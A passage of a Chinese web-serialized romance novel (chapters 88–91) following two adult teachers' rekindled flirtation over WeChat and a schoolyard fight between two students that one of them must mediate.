别说载一个人,简越觉得林筝墨能载一面包车人能载整个印度 不是,谁刚说自己不会骑来着!! 简越觉得自己好像被摆一道! 看她可怜兮兮才答应把她从黑名单里拉出来! 都是套路!—— 作者有话说:怒更2章!二合一! 退下了 第88章 第八十八章 调调调调调调调调情…… 第八十八章 看着林筝墨逐渐远去的背影, 简越依旧愣在原地。 还留这一手呢?这女人忒坏了!早知如此,就让她永远待黑名单里! 想归想,毕竟也是答应下来的事,回家简越就把林筝墨拉了出来。 不过没主动发消息, 她觉得林筝墨会向她报备的, 所以便洗澡去了。 十分钟、半小时、四十分钟简越刻意拉长了洗漱的时间, 出来的时候查阅手机, 结果什么消息都没有!! 那时简越坐在沙发上, 点开和林筝墨的聊天框, 心想一小时过去了,这女人还没到家吗? 就这么不主动吗?发一个字会死吗?还是说路上遇到一点什么情况? 不免焦灼起来,简越在聊天框打下: 【你到了吗?】 消息发出去并未得到回复, 她决定再等五分钟,如果还没信儿,那就得打电话过去了。 胡思乱想 不会真的遇见什么状况了吧? 嗡嗡。 手机震动, 林筝墨终于回复了。 【到了。】 【刚洗完澡。】 简越舒了口气,准备回复一个好的, 那句“好的”才打到haod, 甚至英文还没翻译成中文, 忽然之间,屏幕里跳出一张照片。??? 干什么!! 照片太扎眼, 简越的手机扔在沙发上两米远, 过了一会儿又抓回来, 满眼困惑把照片又看了一遍。 照片里,林筝墨刚洗完澡,站在厕所的镜子面前,她将雾蒙蒙的镜子擦了一个明亮的小圆圈, 拍下一张属于自己的照片——只穿了一件黑色内衣,头发湿哒哒地搭在肩头,一只手懒洋洋地支撑着盥洗池,另一只手捏着手机,表情故作冷肃,却夹着一点点诱。 分明这张照片已经够刻意了,奈何林筝墨还非常刻意地“展示”了一下自己,纤白的胳膊,平直的锁骨,以及洗完澡红润的皮肤,锁骨以下的那片白净的肉,好似被她抓过,泛着诱惑的红印。那些隐晦潜藏的暧l昧,在此刻明晃晃地展示出来。 林筝墨:【刚洗完澡,刚没看手机。】 简越从照片里切出来,一口热气吸入心头。 打下:【你干嘛?】 删了。 又打下:【请自重。】 删了。 又又打下:【合适吗?】 删了。 又又又打下:【好的。】——咻,发送。 好的,依旧是好的,正经人从来都是“好的”,才不会胡思乱想呢,虽然胡思乱想已经乘以10000 下一秒林筝墨回复一条语音过来,简越点开来听。 “啊~好累啊。”附带一声喟叹:“哎~” 听得出她还在浴室里,声音夹着些许空旷,大概是简越心理作祟,总觉得林筝墨的声音有点儿飘,飘到脑门儿上,沉入脑海里,晕得厉害。 【哦,累就早点睡。】简越从聊天框里切出来。 切出来,又点进去,设置为免打扰,假装听不见看不到。开始给自己吹头发,把吹风机开到最大档,试图通过这种噪音转移自己的注意力,可思绪完全不受控制。 比如,关于林筝墨的这样或者那样。 照片也就一点点好看吧,声音也就一点点好听吧,不是未闻未见,可就像蚊子在耳边叨扰,心乱如麻。 简越关掉吹风机,自我攻略:如果我是一个会欣赏美丽的人类的话,那么,那张照片的确是好看的吧? 继续逻辑自洽:那么,既然如此,我多看一眼,又有什么呢? 没事啦,没事啦。 反正也没人看到。 一通自我安慰之后,简越再次点开和林筝墨的聊天框,翻上去,把那张照片又看了一遍。 准确来说,这次不是“看”,而是“欣赏”,眼皮微微向下耷拉,呈现出一种连自己都没意识到的迷恋,眼角弯弯,瞳仁里有星星闪烁,连唇角也忍不住上翘。 两指放在照片中间,放大,仔细看,一帧一帧看。 长按,保存。 而后,简越平躺在沙发上,凝视着半空,有种窥探到自己内心世界的空虚感。 手机再次震动了。 林筝墨引用了那张照片:【好看吗?】 简越的脸唰地泛红,有种被抓包的心虚,硬着头皮回复:【什么?】 林筝墨:【我说照片。】 简越:【没细看。】 林筝墨:【那好吧。】 简越:【发这个的意义是什么,我也不会看。】 林筝墨:【这样啊。】 下一秒—— 咻咻咻咻咻咻咻咻咻咻咻咻。 屏幕疯狂跳动,十来张照片重磅打击,林筝墨从不同角度,不同姿势,不同表情的照片填充了整个屏幕,甚至有几张性感过头,看得简越脸火辣辣,原本才熄灭的火焰从小腹燃烧到喉咙,蔓延至整个身体。 偏偏林筝墨还很装:【不好意思啊,发错人了。】 简越:【?】 林筝墨:撤回。 林筝墨:撤回。 简越见状不妙,疯狂保存。 撤回。 保存。 撤回。 保存。 撤回。 保存。 俩人在百米赛跑,林筝墨在前面跑,简越在后面疯狂追,在林筝墨撤回最后一张照片之后,简越在她身后也捡了七八张照片。 林筝墨装模作样:【对不起,刚刚真的手滑。】 简越手心都是冷汗,无疑一场博弈。 简越:【没事,我没看到。】 电话这头,林筝墨对着手机发笑,真的没看吗?简主任怕不是不知道,微信有个功能叫正在输入中 简越:【你说发错了,所以是发给谁的?】 林筝墨:【睡了,晚安。】 简越真的想骂人,她觉得自己就像一只小绵羊,屏幕那边是一只温顺的狼,徒有其表,心狠手辣。 虽然觉得林筝墨不是发给别人的,但是万一呢? 简越:【你睡吧。】 原本想忍,却实在忍不了,抽出意大利炮,对着屏幕放炮:【话说回来,这样的照片发给别人会不安全吧?】 林筝墨:【网络世界,公开出去别人也觉得是P的,无需在意。】 居然不否认? 气急攻心! 简越如临大敌:【所以真的有在给别人发?】 这句话发送出去,简越觉得自己像个傻子,林筝墨再怎么疯癫,也不至于到这个地步,这是稍微思考一下就能得到答案的事情。 可又十分在意着,在意那万分之一的可能,其实已经知道答案,但就是要林筝墨亲口说出来。 简越:【到底发给谁了。】 林筝墨:【都是给你的。】 林筝墨:【怕你不喜欢,才撤回。】 简越对着屏幕松了口气,不得不承认,非常喜欢那句“都是给你的”,都是给你看的,意味着独一无二。 简越:【噢。】 林筝墨:【我的身体只给你看过。】 这话出现在屏幕里,燃烧出一股暧l昧的味道。简越凝视着上面的文字,目光定格在“身体”二字,脑袋里浮现出林筝墨身体的轮廓。那是她相当迷恋的身体,看起来纤柔骨感,拥抱起来却是软乎乎的,每每她靠近她,亲吻她的皮肤,都能听到满意的喟叹,她在那种发丝缠绕的夏日梦境里,永远地留下了自己的痕迹。 那是一种遥远的,令人回味无穷的体验,无法割舍。 以至于简越神思游离到很远很远的地方,她被这样一句话点燃了欲望。 或许聊天记录应该戛然而止,比如再说一句晚安,话题就应当结束了,可简越不甘于此。 她打下一句:【难道我不是只给你看过?】 林筝墨:【是。】 林筝墨:【所以我很想念。】 有什么东西在燃烧,夜色浓稠得像一瓶高浓度墨水,覆盖了所有的伪装,文字袒露出赤l裸l裸的欲念,直白得就像对方就站在面前,□□。 简越明知故问:【想念什么。】 林筝墨:【很多。】 林筝墨:【我大部分时候都在想你。】 林筝墨:【比如现在。】 简越躺在沙发上,将手机往上平举,木讷地看着对话框里的内容,脸颊发烫。她觉得周遭的空气都迅速靠近过来,无限压缩,让她心脏砰砰乱跳。 为什么。 为什么经历了这些,还是会被这个人撩动心弦,逃也逃不掉,不受主观意志控制。 无法对任何人产生爱情的情愫,唯独这个人,可以随时随在她心里撒野。 简越打下一句:【发这些话是什么意思呢?】 林筝墨正在输入中 这次的回复非常慢,好像在反复编辑。约莫几十秒,才有了回答。 林筝墨斟酌过后的结果:【表达我还是很喜欢你。】 简越:【哦。】 冷场。 简越:【要追我的意思。】 冷场又热场。 林筝墨:【阅读理解满分,夸夸。】 简越故意一盆冷水泼过去:【暂时没有恋爱的打算。】 林筝墨:【可以开通追你的权限吗?】 简越觉得很好笑,干嘛要把这样的事情说得如此正经,就像在做什么工作报告,什么开通权限 简越:【不。】 林筝墨:【哭jpg.】 林筝墨:【考研考公也没这么难。】 简越:【不要什么都问我。】 她是猪吗? 是猪吗!! 要追就追,申请什么权限! 到底是笨还是故意! 林筝墨:【请求开通权限。】 林筝墨:【求求你了简主任!】 简越都能想象到林筝墨说“求求你了”这句话是什么表情和语调,一定是挂着那张冷淡淡的脸,嗓音有一点点难以自持的娇气,搞不好还要皱皱眉头,小小林筝墨一撒娇,最让人受不了。 简越:【拿出一点诚意来。】 发完这句,简越恍然意识到好像又掉入圈套,她怎么就有点儿给林筝墨递台阶的意味了呢。 不妙。 撤回。 再聊几句的话,很难坐怀不乱了。 简越:【我要睡了,不许再说,不然拉黑。】 林筝墨:【晚安,爱你。】 下一秒撤回。 言外之意:撤回的我爱你不算回复吧?可一定一定不许拉黑我。 简越拿她没办法,默默熄屏,权当没看见。 罢了。 败喽…… 第89章 第八十九章 开打开打 第八十九章 原本已临近期末, 学生们集体无精打采的,周一早自习,高一1班忽然收到林筝墨返校教书的消息,全班哗然。 某同学:“我就说林老师只是请个长假, 还会回来的!” “天啦, 新老师是她吗!想死她了!”一学生趴在试卷上, 两眼放光,不一会儿抬起头来, “你看, 赵筱筱真是开心坏了!” “那她肯定了~” 教室后排,赵筱筱正在疯狂给四周的同学发棒棒糖,呲牙笑:“恭喜恭喜, 恭喜恭喜。” 也不知道她在恭喜个什么鬼。 恭喜她自己吧。 但赵筱筱人缘是相当好的,在班里算个风云人物,棒棒糖发了一圈, 大家瞌睡也差不多醒了。她转身看向角落,那里坐着数学课代表李新百, 这男生有点自视清高, 不爱说话, 人缘那是真的差。 “棒棒糖吃吗?”赵筱筱人美心善,怕他想多, 还是问了句。 对方黑色中性笔在试卷上写着公式, 头也不抬一下, 冷淡道:“不吃。” 赵筱筱也不纠结。 不搭理他,转身去和别的同学搭讪,结果刚转身,听到身后啪的一声, 是李新百的中性笔掉地上了,恰巧滚到赵筱筱脚边。 她刚要帮他捡。 对方快她一步,弯腰去捡笔,嘴巴里说着:“神经。” “什么神经?”赵筱筱迷迷糊糊的,“你在和我说话?” 李新百抬起头,冷冰冰看着赵筱筱,这男生戴着一副眼镜,很瘦,瘦得颧骨外凸,一张脸就像摔过的锥子,五官都很尖锐,偏偏他还是个眯眯眼,搭配起来不好看。 虽然议论别人长相不礼貌,但赵筱筱一向觉得他挺丑的。 “拍老师马屁你是有一套的。”李新百莫名开炮,牙缝里吐钉子:“林老师回来上课,轮到你发糖呢,你是她的信徒还是想找存在感啊?” 这种感觉就像出门一泡鸟屎正中眉心,更具体一点的感受是,就像你好好走在路上,忽然有个人冲上来扇了你一巴掌。 赵筱筱黑人问号:“你有病啊,我惹你了?” 李新百冷笑:“早看不惯你,舔狗。” 赵筱筱火苗直往天顶盖冲,“你嫉妒我吧?” “我嫉妒你?嫉妒你是林老师舔狗?嫉妒你找存在感?这么高调,怕不是女同性恋,暗恋林老师吧。”李新百故意把话说得很大声,周围有同学听到。 沈礼萍耳尖,这话相当刺耳,唰的一下站起身来,指着李新百骂:“什么意思啊,你做那些龌龊事别以为我不知道!” @#!#@!#!@ 大战,一触即发。 * 今天是林筝墨复岗的第一天,心情还算愉悦,张老师替她点上一杯咖啡,办公桌上有赵老师分享过来的水果,是一颗硕大无比的橙子,据说肉多汁儿甜。 同事们大多都很开心,林老师虽然不擅长社交,但到底还是受人喜欢的。 不吵不闹,佛系温静,长得漂亮,谁不喜欢。 到岗第一步,给简越发消息:【早上好啊~】 简越一般不会秒回,但过几分钟基本都会回:【早。】 林筝墨:【赵铭送了我一颗橙子,超级大!你吃不吃?】 简越:【什么橙子?】 林筝墨:【看起来是赣南脐橙,肯定很甜,尝尝?】 简越没回复。 没回林筝墨就当做默认。 她用湿纸巾擦干净手,开始徒手剥橙子,有点小小的强迫症,所以连剥橙子也是弄得整整齐齐的,将饱满的果肉放在橙子皮上,鲜艳诱人。 隔壁张老师转身瞅着她笑:“谁这么好福气啊?” 林筝墨顺手分享一半给张老师,“你吃。” 张老师摆摆手,“我不能吃这个,吃了甜的等会儿上课会头晕。” “嗯?”林筝墨不解:“什么情况?” “家族遗传,老毛病了。”张老师晃晃手里的黑咖,“我喝这个,提神。” 林筝墨便也没强迫她,拿着橙子去隔壁找简越。 简越办公室还有两位上级,一个常年出差听课,一个职位大到基本没课要上,所以那办公室四舍五入算是简越一个人的了。 林筝墨进去的时候,简越正在打电话,林筝墨便在桌对面坐下,没打搅她。 “什么?简女士是谁,我叫李芳。”简越捏着手机正儿八经道。 林筝墨:“?” 她好像在应付骚扰电话。 “对啊,我是叫李芳啊,嗯,真的这个手机号就是我的号,但我不认识简越。” 嘟嘟嘟。 对方电话迅速挂断了。 林筝墨笑着看她:“你好无聊!怎么和推销都能聊起来!” 简越手机放桌上,“天天打,让我贷款,好烦的。”坐下,淡幽幽地睃了林筝墨一眼,不说话,眸子里暗含着不易捕捉的情意。 林筝墨把橙子递过去,“剥好了,可以吃了~” 但简越只是看了橙子一眼,坐下,没吃。 林筝墨掰开一小瓣,“怎么,是要我喂你吗” “我不吃。” “吃,超甜的,我喂你。” “不要。”怎么听起来还夹了点儿雀跃,却还是绷着脸:“什么你喂我,不怕别人看见。” 林筝墨回头左看看右看看,“哪里有人。”还要摆一道:“是你心虚。” 这几天,她俩都有在网络上聊天,林筝墨总是有意无意撩拨简越,虽然想划清界限,但简越还是做不到。 关系上朦朦胧胧的,彼此没捅破,林筝墨似乎很有耐心,这种缓慢的进度,就像温水煮青蛙,简越开始纵容自己。 “我喂你。”林筝墨捻起橘子掰,“你快一点吃,没人看到。” 简越唇抿紧了,摇头,“不要,不吃。” “快点啦。”林筝墨手里的橘子悬在半空,不管简越要不要,总之橘子瓣是递过去了。 现在确实是最好的时机。 橘子就在距离简越嘴唇不到五厘米的地方,只要稍微往前倾一点点,就能吃到。 对简越来说,这是一种莫大的诱惑,橘子谁没吃过,但林筝墨投喂的橘子好像是第一次,那橘粒分明的果肉,被一双纤长莹白的手捏着,对方还用那样的眼神看着你。 四面的空气聚拢在一起,简越脸颊微微发热。 受不了 哎。 吃吃吃。 往前一点点,吃了一半,还剩一半在林筝墨手上,汁水在咬下那一刻,流下几滴到林筝墨的手指上,简越连忙把纸巾递过去,让她擦擦。 可林筝墨非但没擦,就着剩下的一半橘子吃了下去。 末了。 当着简越的面,抿了一下手指。!! 简越宕机。 “谢谢。”林筝墨抽了一张纸,一边咀嚼一边擦拭自己手指,一副若无其事的模样。 “你——”简越想说点儿什么,盯着林筝墨嘴唇莹莹润润的,上面是不是有一点自己的贡献,真是不好意思说,“我自己吃吧。” “好。”林筝墨慢条斯理咀嚼着那半片儿橘子,总觉得这橘子甜得发润,像酥软软的雨落入心间,暗戳戳发现,简越不自在得很明显 那种明明被撩拨却要故作镇定的样子,实在可爱。 “等会儿一班第一节课我的。”林筝墨见好就收,“我先过去了。” “好。” 林筝墨刚起身,走了没两步,隔壁走廊传来铁打似的咆哮声:“你舔狗!你才是舔狗!你全家都是舔狗!你长得丑!你嫉妒我!嫉妒我现在数学成绩也变好了呗!” 赵筱筱的声音响彻长廊,那辨识度连狗都要给她让道。 “什么情况?”简越瞬间起身,眉心蹙紧,“她又咋了。” “我没有!不是我先惹他的!”赵筱筱在隔壁大吼:“他先说的我!一定要相信我!他还打我!呜——”说到这里,赵筱筱委屈得哭起来。 简越和林筝墨脸色剧变,同时冲出去—— 门外,赵筱筱头发凌乱,眼眶泛红,揪着李新百的衣领,李新百被他拎得晃来晃去,她要给自己讨公道。 张老师跳出来当判官:“那你先把他领子松了,到底什么情况?慢慢讲啊。” “我早上在班上给同学发棒棒糖,我问他吃不吃,他说他不吃,不知道扯到他哪根筋了,他平白无故开始骂我!” 李新百弱唧唧地说:“我哪有我就我就说我不吃,你觉得,你觉得我不给你面子,开始骂我。” 他声音特别小,磕磕绊绊,目光怯懦,故意肩膀耸起,一副唯唯诺诺的样子,乍一看倒是赵筱筱欺负他了。 赵筱筱性子急,越听越气,受不了这颠倒是非。 一时间气急攻心。 “你装什么呢,你骂我舔狗呢,说我舔舔”赵筱筱忽然看了林筝墨一眼,想说的话又咽下去,不愿让林筝墨的名字出现在这个场合,“反正你就是骂我!” “我没骂你啊。”李新百继续刺激赵筱筱:“我比你矮,比你瘦,我哪敢骂你,下次吃你给的棒棒糖就好了,你别欺负我了。” 救! 赵筱筱一副不可置信的模样。 真是忍不了了! 抬起脚对着对方就是一踹。 腿已经飞出去了,非常之迅速。 在场所有老师齐呼:“诶诶诶诶诶诶——” 晚了。 李新百吃痛,捂着肚子躺下去 第90章 第九十章 怀疑有人喜欢林筝墨 第九十章 赵筱筱的无影脚是相当无情的, 踢人就要往死里踢,那一脚飞出去,李新百躺地上,居然哭了。 他一哭, 赵筱筱更是怒火中烧, 把他领子提起来, 忍不住又补了一脚。 “嘴巴这么臭!我真想拉坨屎让你当场吃了!” 林筝墨:“” 好毒的嘴。 张老师面露难色。 一旁的简越连忙架着她胳膊,将她往后拉, 呵斥她:“你干嘛!” 赵筱筱侧目反看简越, 眸子里噙着泪光,却不服气的:“我根本没有欺负他,是他先骂我的!他说的都不是事实!不信你们调监控!” 简越对筱筱的脾性自然是了解, 虽然有时候是疯癫了点,容易冲动,但从不惹是生非, 主动打人是不可能的。可出来围观的老师越来越多,简越并不好细问, 否则有包庇的嫌疑。 简越揉了揉赵筱筱肩膀, 递给她一个眼神, 让她悠着点,否则真不好收场。 赵铭从人群中穿出来, 皱着眉头, 一脸担忧, 他把李新百拉起来,安抚他:“小李,有没有伤到哪里?” 李新百撇着嘴点头,“伤到了, 好痛,哪里都痛。” 赵铭看向简越,又看看赵筱筱,“同学之间有什么事要理性解决,打架可以解决问题吗?你们多少岁的人了!”说着,赵铭对林筝墨眨眨眼,话里有话:“简主任” 简越好像意会到赵铭的意思,于是叫身旁的林筝墨:“林老师。” “嗯?” “麻烦你把两位同学带到我办公室一下,不要在这里挡道,我一会儿就过来。” “好。” 这边张老师也帮忙说道说道:“害,大清早的施展拳脚呢,不如去报个武术班,得了得了,让简主任处理去吧。”说着两手一挥,顺带把其余老师揽办公室里去了。大家看不是自己班的学生,并不愿意多管闲事。 人群散去,赵铭将简越拉到走廊一角,低声嘀咕起来。 赵铭:“这很麻烦啊。” 简越:“怎么了?” 赵铭:“你是不是不知道,这李新百是楼上李大光的儿子?” 李大光,高二的年级主任,是个数学老师,教风严苛,一直信奉严师出高徒的原则,但也是出了名的脾气不好。教学水平是有,抓学生又抓得紧,所以他带的班,整体数学成绩还不错。 简越没和这人怎么接触过,但关于他的事迹略听一二。 她不喜欢他。 她是不太喜欢过于严肃的人的。 “哦,他是李大光的儿子,所以呢?” “哎呀,不是。”赵铭脑袋偏过来小声蛐蛐:“他儿子情况有点复杂,说白了有点极端,我估计是遗传,李大光脾气不就不太好” 简越惊讶:“你怎么知道?” 赵铭嘀咕:“我住七栋啊,是他家邻居,李大光经常打他,他受不了他儿子数学不好,考试必须考第一,至少数学要第一,不然就是丢了他的面儿。” 简越颔首,却依旧云里雾里:“所以呢?” “你等会儿处理你表妹和他的事的时候,悠着点。”赵铭面露难色:“实在不行,让你妹妹吃点亏也行,别让那男生受了刺激。” 简越费解,她当然就事论事,怎么可能偏袒任何一方。 “为什么?” 赵铭凑近了,在简越耳边低语:“我不敢百分百保证,但我有证据,李新百从小被压迫,这孩子心理不太健康。” 简越:“?” 赵铭:“心理疾病,我有一天看到” 简越:“!” 简越:“真的假的?” 赵铭少有的严肃:“我向你保证,是真的,但是,你一定要保密。” * 林筝墨将两位同学带到隔壁办公室,让他俩在桌边坐下,中间约莫隔着三五米远。 安静的办公室里,饮水机发出咕噜咕噜的声音,林筝墨为他们一人倒了一杯水。 “喝吧。” “谢谢林老师。” “谢谢林老师。” 俩人异口同声,赵筱筱侧目睃他一眼,心想,装货。 李新百却不看赵筱筱,目光越过筱筱的肩膀,停留在林筝墨的方向,眼底的迷恋一瞬而过。 林筝墨没察觉到,到门口去看简越。 赵筱筱蹙眉,“你色狼啊。” 李新百被拆穿露羞:“有病。” 赵筱筱:“盯着别人看就是不礼貌,难道你爸没教过你吗,你看看你那幅敢做不敢当的样子,真想把你眼睛戳爆。” 李新百乐意挑衅:“来啊,你来戳啊,你敢吗?” 赵筱筱:“刚刚没被踢爽是吧?” 林筝墨在门口站了会儿,隐约觉得他们又在吵架,连忙过来制止:“好了好了,你们别说话,筱筱,喝点水吧。” 赵筱筱正莽上头,但林筝墨一发话,一秒乖巧:“好呢林老师,我喝我喝。” 不一会儿,简越进来,面上挂着冷肃,她在学生面前威严尚在,不像林筝墨那般随和。 赵筱筱挺直腰板,等待判官入场。 简越手机搁桌上,徐徐坐下,目光游离在两人之间,“说吧,什么情况,来,赵筱筱你先说。” “他骂我。” “他骂你什么?”简越稍稍后靠,双手抱在前胸,目光冷峻:“前前后后仔仔细细说出来。” “我就发个棒棒糖,他说我找存在感,还骂我是林老师的舔狗!”赵筱筱开炮:“他真的有病,有意揣测我,莫名其妙,我甚至都没惹他,他心理阴暗,思想龌龊!” 李新百眼底阴鸷闪过,瞳仁里的光芒迅速切换,又一副弱者姿态:“我没骂你,只是你太吵了,打扰我学习。” “根本就是下课时间好吗?那么多人吵吵闹闹,你怎么就盯上我了?而且是你骂我在先。” “没骂你。”李新百一口咬死。 赵筱筱两手一摊:“他是癞皮狗,根本不会承认的,那调监控好了。” 班级上监控是有的,什么情况一看便知。 李新百面色微僵,铁着脸说:“那你刚刚踢我两脚,我觉得五脏六腑都裂开了,医药费你总得赔吧。” “好一个五脏六腑都裂开了,你内脏是豆腐做的啊,给你撒点花椒面做一道麻婆五脏六腑行吗?” 李新百看向简越,有气无力道:“简主任,我好难受,呼吸的时候都不太舒服要不,要不你或者林老师,带我去医院看看吧。” 原本是说调监控,无意之中就把话题引到别处。 赵筱筱心大,不懂其中门道,但简越是成年人,心里门儿清。 只能说筱筱还很单纯,但侧面也看出,这男生非常有小心思,其实他根本没事,一直装。 怎么办 赵铭还说他有心理疾病,搞不好是相当严重那种。 让赵筱筱吃亏,简越心头咽不下这口气,但是,要打抱不平,万一日后他有什么不可控因素怎么办? 踟蹰着。 林筝墨一直站在一旁,简越抬眼,两人目光交触。 林筝墨投来困惑的眼神,似乎在询问简越为什么不调监控,是与非已经相当明显。 简越眉头轻拧,当即做了决定:“这样,李新百,你先给你家里人打个电话,让他们来接你,带你去医院拍个片,赵筱筱的家长由我来联系,医药费什么的,该赔的赔。” 赵筱筱一秒破功,惊愕地看着简越:“不是简主任,是他先骂的我!我赔他医药费?” 简越绷着脸,冷眼刺向筱筱:“谁先动手打人?” “行,我踹了他,是他造谣在先。”赵筱筱气焰未消:“就算要赔医药费,那是不是应该调监控,让他给我道歉?” 林筝墨疯狂朝简越使眼色,示意就该这么,医药费可以赔,但道歉必须有。 简越无视,继续说:“就按我说的做。”她将手机递给李新百,“你去给你家里人打个电话,让他们来接你。” 多一事不如少一事,这并不是简越的风格。可事关赵筱筱,简越不敢莽撞行事,她想起先前赵铭说过的话,现在只想全军撤退。 赵筱筱不可置信地看着简越,惊愕到失语。 简越没时间解释,在李新百打完电话回来后,选择送他去校门口。 整个过程,简越似乎都没有帮赵筱筱的意思,甚至刻意偏袒李新百了,这让赵筱筱非常委屈,濒临崩溃。 “我先带他去校门口。”简越觑了筱筱一眼,又看向林筝墨:“林老师,筱筱同学这边麻烦你了。” 林筝墨不理解,却还是颔首。 李新百却忽然说:“简主任,你联系赵筱筱的家长吧,林老师送我也可以。” 简越愣了一下,莫名的,一股寒意从指尖渗透全身,她看着李新百:“林老师还有课要上,嗯,我送你一样的。” 迅速带着李新百走了 * 赵筱筱在办公室哇哇大哭,泪水湿透了林筝墨的衣襟。林筝墨轻拍她的后背,温声道:“不哭不哭,受委屈了,受委屈了。” “我姐根本不管我!”她气上心头,抽噎得像个小□□,呱呱呱呱,“我真的不不懂啊,为什么不相信不相信是他先攻击我,我,我是打了人,难道,难道不是他颠倒是非,我,我才动手的吗。” “嗯,没有不相信你,我们都相信你。”林筝墨不否认,今天的处理结果并不是简越的风格,“你姐肯定是关心你的,她这么做应该有原因。” “呜——才不是呢,她就是,就是觉得麻烦,多一事不如少一事,我,我就是可以受委屈的那一个。” 林筝墨忽不知怎么安慰她,因为自己也非常茫然,全然不懂简越为什么这样。 但她想起简越先前离开的时候,似乎眼里有话。 是发生了什么吗? 林筝墨更倾向于这个。 “来,不哭了。”林筝墨拍她后肩,“是,可能不公平,不过按照我对你姐的了解,这里面一定有原因的。” 赵筱筱掉着小珍珠,摇头摇头。 “先不委屈了。”林筝墨低声道:“先前看你和他争执的时候,全场最心疼的就是你姐,你是没看她的脸绿成什么样了,恨不得把李新百撕个稀巴烂。” 赵筱筱将信将疑:“真的假的?” 林筝墨颔首,“真的。” 赵筱筱:“那她还不帮我?” 林筝墨:“她等会儿回来应该会解释,你先缓一缓。” 赵筱筱在林筝墨怀里咕噜了几句,大致意思是:简越现在是全世界最坏的姐,或许它需要一百万个汉堡包才能消气,但这还能怎么办呢,自己的姐自己受着,他爷爷的,她简直想杀了李新百。 “对了林老师。”赵筱筱擦擦眼泪,“我跟你说件事。” “嗯,你说。” “他特恶心。”赵筱筱的厌恶化成眼珠里的一颗子弹,恨不得一通扫射,“就沈丽萍跟我说,之前钟涛和他是同桌,他好像写了一些乱七八糟关于你的东西。” “关于我?” “对。”赵筱筱恶心坏了,“但我不清楚是什么,回头我问问他们去。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 第九十一章 床上做饭 第九十一章 赵筱筱说, 李新百写的可能是情书,但林筝墨并没放在心上。 现在的学生比较早熟,“暗恋老师”这种桥段,从古至今都有。 情窦初开的学生很容易崇拜年长的老师, 这是恒古不变的事实。其实叫什么爱呢, 只是那个年纪的孩子需要一个幻想对象罢了。 当然了, 林筝墨入职以来也收到过情书。 但她一直视而不见,学生不懂事, 她一个老师还不懂么?被自己的学生喜欢, 这种感觉就像水杯里放砒霜,简直碰都不敢碰的。 这边赵筱筱情绪渐渐稳定下来,林筝墨带她去班上, 顺带把课上了。 一直到第一节课下午,林筝墨才得来空闲,发现简越在微信上给她发过消息。 【我在操场, 要不要过来聊聊?】 【好。】 早间没有学生上体育课,林筝墨从教学楼到操场, 根本没人。冬天的鸟儿站在梧桐树上当歌唱家。雪是没下了, 阴天, 天空像熬过夜似的,肤色暗沉, 不鲜不活。 林筝墨到操场门口停下, 目光定格在塑胶跑道上, 简越穿着一件黑色大衣,双手揣兜里,缓缓踱步,她的身影是一幕黑色的, 冷肃的修长体,远远望去,皮肤很白,白到渲染了沉闷的天空。 两人眼神触碰了一下,算是打招呼,林筝墨径直走过去,便肩并肩往前走着。 “你送他回去了?” “嗯。” “发生什么了?”林筝墨相当好奇。 简越叹气:“好难讲啊。” 林筝墨见她发愁,“所以不调监控是为什么。” “赵铭先前和我说,张新百是高二年级主任张大光的儿子。” 林筝墨有些意外,“张大光儿子?从来不知道。”随即敛了眉头,“因为他爸爸吗,所以你——” “当然不是。”简越摇头:“只是情况好像比较特殊,赵铭说这人不太正常,赵铭是他的邻居,曾经不小心……看到过他虐猫。” “虐猫!”林筝墨吓了一跳,不可置信,“他居然虐猫!” 简越放低了音量:“有一天赵铭在阳台抽烟,听到隔壁有猫叫,透过窗户去看,发现用一根绳子把小猫吊在阳台外面,让它挣扎,你说变态不变态。” 林筝墨一阵恶寒,指尖掐进手心里,用力到泛白。别说是普通人,更何况是爱猫人士,这简直晴天霹雳。 “他爸不管?” “赵铭说那天他爸不在。”简越眉头紧锁着,持续未松开,“赵铭不可能撒谎吧?” 林筝墨摇头,“应该不至于。” 以她们对赵铭的了解,这人处事圆滑,胆小怕事,造谣李新百对他没有任何好处,只会惹得一身骚。 加上赵铭再三强调,不可以告诉别人,他怕惹麻烦,排除他造谣的嫌疑。 “你这么一说,性格确实很孤僻。”林筝墨仔细回忆起来:“我对他印象不深,他从来没有说过话,有点小透明的感觉。” “那更要重视了。”简越非常严肃:“我不调监控,完全是因为他的不可控因素太多,所以我当时只想立马结束,万一他以后哪根筋搭错,报复她怎么办,讨回公道什么的不是最重要的,筱筱的安全最重要。” 接着俩人都沉默了。 林筝墨想了很多种可能,没预料到是这个。最糟糕的是,她们没有直接证据,不可能去指证他,就算有,虐猫在法律上得不到惩罚,加上他是同校老师的儿子,若是忽然跳出来说:你儿子是个变态,不许他来学校读书了! 可能吗? 不现实。 “筱筱现在对他很不满,万一又吵起来了,空了你和她说一下吧?” “我会和她说。”简越面露忧色,“最近晚自习放学让姨妈来接她好了。” “好。”林筝墨感受到对方的焦灼,“别担心了。” 她伸手去牵简越,手指冰冰凉的,触碰到那瞬间回缩了一下,林筝墨却握紧了。 “让我牵牵你吧。” 简越没有再拒绝,清晨的光影落在瞳仁里,感受着林筝墨指节的温度,眼底涌动着清莹的光芒,像平静的湖面忽然泛起波澜。 一时之间有些恍惚。 简越发现自己其实一直在期待这个瞬间,这个林筝墨在她身边的瞬间,分开那半年,生活有种失重感,对周遭的一切都感知不到了,而林筝墨在她身旁的时候,就可以被安慰到。 慰藉、温暖、平和…… 林筝墨试图转移注意力。 “诶,对了简越。” “怎么。” “沈礼萍奶奶还有没有在卖凉面?” “应该在吧。”简越回忆起上个周去福利院路过那里,“哦,还在的。” “午饭你有安排吗?”林筝墨发出邀请:“要是没有的话,要不要和我去吃?” 两人无意间对视,一些记忆同时击中她们,想起第一次去沈礼萍奶奶那里买东西的时候,那时候她们还没有谈恋爱,林筝墨甚至根本不想搭理简越,非常冷漠,说一句话就冷场,全靠简越厚脸皮。 那些画面依旧鲜活,令简越回忆起许多美妙瞬间。 “其实我很好奇,一开始你觉得我怎么样?”简越微微凝目,思索着,“最开始的时候。” 林筝墨眼底噙着笑,“你要听实话吗?” “要。” “那我和你说了,你就答应和我吃午饭。” “行。” 林筝墨笑意泄露,唇角上扬,似乎很愉悦,“那我就实话实说了,觉得你很装,觉得你不是很好相处。” “?”简越非常惊愕,“我吗?” “嗯。” “为什么!?” 林筝墨有话直说:“因为那时候我们还不熟,好几次下班的时候,我发现你在走廊看我,我就觉得你好莫名其妙啊,我说哪里来的领导,官威那么大,下了班还要盯着我,每次从你旁边路过,身体都绷紧了的,背地里腹诽你几次,心想你又不会给我加工资。” 简越被这番话逗笑,她还以为她暗中观察林筝墨没被发现呢,结果人家门儿清。 